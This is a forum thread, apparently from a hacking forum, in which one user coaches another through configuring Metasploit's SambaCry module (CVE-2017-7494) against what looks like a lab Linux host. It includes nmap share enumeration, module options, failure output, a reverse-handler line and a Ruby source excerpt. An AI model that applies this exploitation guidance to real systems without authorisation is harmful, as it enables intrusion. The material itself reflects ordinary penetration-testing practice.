

Forum: [Hack Forums](#)

Thread: [SMB_SHARE_NAME vs SMB_FOLDER \(CVE-2017-7494\)](#)

banderas20 - October 9, 2018, 12:02 pm

Hello all.

I'm trying to run the CVE-2017-7494 exploit with a Samba 3.6.3 against a Linux box.

The exploit asks me to fill the fields:

Code SMB_FOLDER	no	The directory to use within the writeable SMB share
SMB_SHARE_NAME	no	The name of the SMB share containing a writeable directory

If I run

```
nmap --script smb-enum-shares.nse -p445 192.168.40.137
```

I get this:

Code ost script results:

```
| smb-enum-shares:
|  account_used: guest
|  \\192.168.40.137\IPC$:
|    Type: STYPE_IPC_HIDDEN
|    Comment: IPC Service (CPHELINUX server (Samba, Ubuntu))
|    Users: 1
|    Max Users: <unlimited>
|    Path: C:\tmp
|    Anonymous access: READ/WRITE
|    Current user access: READ/WRITE
|  \\192.168.40.137\print$:
|    Type: STYPE_DISKTREE
|    Comment: Printer Drivers
|    Users: 0
|    Max Users: <unlimited>
|    Path: C:\var\lib\samba\printers
|    Anonymous access: <none>
|    Current user access: <none>
```

I think I'm almost there, since I have a R/W share, which is what the exploit needs.

The question is:

¿which values go in the fields SMB_FOLDER and SMB_SHARE_NAME according to this result?

BTW, I don't understand why Path can be "C:\tmp" if it's a Linux box...

Many thanks for the help!!!

CyberStrike - October 9, 2018, 12:57 pm

<https://nvd.nist.gov/vuln/detail/CVE-2017-7494>

UNC Path is what matters for example \\192.168.40.137\print\$

Edit that's what you will connect to, this is where having an understanding of networking comes in.
(Hope it helps)

Some reading material :

<https://msdn.microsoft.com/en-us/library/cc227007.aspx>

<https://www.samba.org/samba/docs/current/man-html/smbclient.1.html> (really common to enumerate shares)

<https://www.tldp.org/HOWTO/SMB-HOWTO-8.html> (figuring you may want to access the share at some point)

banderas20 - October 12, 2018, 12:45 am

(Oct 9, 2018 12:57 PM)SilentWatch Wrote: [\[CITE\]](#) UNC Path is what matters for example \\192.168.40.137\print\$

Edit that's what you will connect to, this is where having an understanding of networking comes in.
(Hope it helps)

I have checked it and now my options are like this:

Code Name	Current Setting	Required	Description
----	-----	-----	-----
RHOST	192.168.40.137	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMB_FOLDER	/tmp	no	The directory to use within the writeable SMB share
SMB_SHARE_NAME	\\192.168.40.137\IPC\$	no	The name of the SMB share containing a

writeable directory

Still not working:

Code [-] 192.168.40.137:445 - No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER

[-] 192.168.40.137:445 - Exploit aborted due to failure: no-target: No matching target

[*] Exploit completed, but no session was created.

:(

CyberStrike - October 12, 2018, 12:50 am

(Oct 12, 2018 12:45 AM)banderas20 Wrote: [\[CITE\]](#) I have checked it and now my options are like this:

Code Name	Current Setting	Required	Description
----	-----	-----	-----
RHOST	192.168.40.137	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMB_FOLDER	/tmp	no	The directory to use within the writeable SMB share
SMB_SHARE_NAME	\\192.168.40.137\IPC\$	no	The name of the SMB share containing a

writeable directory

Still not working:

Code [-] 192.168.40.137:445 - No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER

[-] 192.168.40.137:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.[*]

:(
Ditch the folder it may not have /tmp in that share

banderas20 - October 12, 2018, 2:38 am

(Oct 12, 2018 12:50 AM)SilentWatch Wrote: [\[CITE\]](#) Ditch the folder it may not have /tmp in that share
Hello!

I have:
Code \\192.168.40.137\IPC\$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (CPHELINUX server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
If it says "c:\tmp", I guess it means /tmp (because it's a Linux box who shares the folder).

I don't understand why I should ditch the folder.... ? ¿What else can I try?

Thanks!

Thanks!

CyberStrike - October 12, 2018, 8:26 am

(Oct 12, 2018 02:38 AM)banderas20 Wrote: [\[CITE\]](#) Hello!

I have:
Code \\192.168.40.137\IPC\$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (CPHELINUX server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
If it says "c:\tmp", I guess it means /tmp (because it's a Linux box who shares the folder).

I don't understand why I should ditch the folder.... ? ¿What else can I try?

Thanks!

Thanks!

The folder is NOT required don't assume it makes something out of U and ME. Also double up the
"\" \\192.168.40.137\IPC\$ odd feeling that ditching the folder should work, as that whole share is
writeable/readable.

banderas20 - October 13, 2018, 1:15 am

(Oct 12, 2018 08:26 AM)SilentWatch Wrote: [\[CITE\]](#) The folder is NOT required don't assume it
makes something out of U and ME. Also double up the "\" \\192.168.40.137\IPC\$ odd feeling that

ditching the folder should work, as that whole share is writeable/readable.
Hello.

I have tried doubling the "\" in the share and ditching the folder. It looks like this:

Code Module options (exploit/linux/samba/is_known_pipename):

Name	Current Setting	Required	Description
RHOST	192.168.40.137	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMB_FOLDER		no	The directory to use within the writeable SMB share
SMB_SHARE_NAME	\\192.168.40.137\IPC\$	no	The name of the SMB share containing a writeable directory

Still doesn't work.

Code [-] 192.168.40.137:445 - No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER

[-] 192.168.40.137:445 - Exploit aborted due to failure: no-target: No matching target

[*] Exploit completed, but no session was created.

Neither with port 445 nor 139.

Thanks.

CyberStrike - October 13, 2018, 12:44 pm

(Oct 12, 2018 08:26 AM) SilentWatch Wrote: [\[CITE\]](#) The folder is NOT required don't assume it makes something out of U and ME. Also double up the "\" \\192.168.40.137\IPC\$ odd feeling that ditching the folder should work, as that whole share is writeable/readable.

(Oct 13, 2018 01:15 AM) banderas20 Wrote: [\[CITE\]](#) Hello.

I have tried doubling the "\" in the share and ditching the folder. It looks like this:

Code Module options (exploit/linux/samba/is_known_pipename):

Name	Current Setting	Required	Description
RHOST	192.168.40.137	yes	The target address
RPORT	445	yes	The SMB service port (TCP)
SMB_FOLDER		no	The directory to use within the writeable SMB share
SMB_SHARE_NAME	\\192.168.40.137\IPC\$	no	The name of the SMB share containing a writeable directory

Still doesn't work.

Code [-] 192.168.40.137:445 - No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER

[-] 192.168.40.137:445 - Exploit aborted due to failure: no-target: No matching target

[*] Exploit completed, but no session was created.[*]

Neither with port 445 nor 139.

Thanks.[*]

Doubling I think not .. Look at the src code and how the smb share is the format of it replicate that

<https://www.exploit-db.com/exploits/42084/>

Quote:\\192.168.40.137\\IPC\$

[*]not this

have you set the target? (show target) (it's x86/x64) You can omit the smb_share_name also try that

[Video: http://www.youtube.com/watch?v=G_AbzPDrexM&t=1m40s]

banderas20 - October 14, 2018, 9:50 am
(Oct 13, 2018 12:44 PM)SilentWatch Wrote: [\[CITE\]](#) Doubling I think not .. Look at the src code and how the smb share is the format of it replicate that

exploit-db.com/exploits/42084/

not this

have you set the target? (show target) (it's x86/x64) You can omit the smb_share_name also try that

[video]

Hey! I had not that version of the exploit, so I didn't even select the target.

I have downloaded it and if I run search cve:7494, I get 2 results:

Code Matching Modules

=====

Name	Disclosure Date	Rank	Description
----	-----	-----	
exploit/linux/samba/is_known_pipename Arbitrary Module Load	2017-03-24	excellent	Samba is_known_pipename()
exploit/linux/samba/sambacry Arbitrary Module Load	2017-03-24	excellent	Samba is_known_pipename()

How can different .rb codes have the same CVE? It's kind of ambiguous ?

Anyway, whatever target I set, I get the same results:

Code [*] Started reverse TCP handler on 192.168.40.128:4444
[-] 192.168.40.137:445 - No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER
[-] 192.168.40.137:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.[*]

¿How can I be sure what is the most reliable or updated .rb exploit if they have the same CVE?

Thanks!

CyberStrike - October 14, 2018, 6:33 pm

It appears that it enumerates named pipes, to help the exploit code be more successful.

```
Code def enumerate_directories(share)
```

```
  begin
```

```
    self.simple.connect("\\\\#{rhost}\\#{share}")
```

```
    stuff = self.simple.client.find_first("\\*")
```

```
    directories = []
```

```
    stuff.each_pair do |entry,entry_attr|
```

```
      next if %W{. ..}.include?(entry)
```

```
      next unless entry_attr['type'] == 'D'
```

```
      directories << entry
```

```
    end
```

```
  AND
```

```
  def find_writeable
```

```
    find_writeable_share_path
```

```
    unless @share && @path
```

```
      print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and  
SMB_FOLDER")
```

```
      fail_with(Failure::NoTarget, "No matching target")
```

```
    end
```

```
    print_status("Using location \\#{rhost}\\#{@share}\\#{@path} for the path")
```

```
  end
```

thats from the source give it a look and try to understand it.

banderas20 - October 14, 2018, 10:52 pm

(Oct 14, 2018 06:33 PM)SilentWatch Wrote: [\[CITE\]](#) It appears that it enumerates named pipes, to help the exploit code be more successful.

¿So there may be several codes with the same CVE?

CyberStrike - October 14, 2018, 10:59 pm

I didn't read that you downloaded missed it you probably just have a second copy in
~/.msf4/modules/exploits ... but it does enumerate the named pipes. Follow the video.

banderas20 - October 15, 2018, 3:32 am

(Oct 14, 2018 10:59 PM)SilentWatch Wrote: [\[CITE\]](#) I didn't read that you downloaded missed it you probably just have a second copy in ~/.msf4/modules/exploits ... but it does enumerate the named pipes. Follow the video.

I will. Thanks!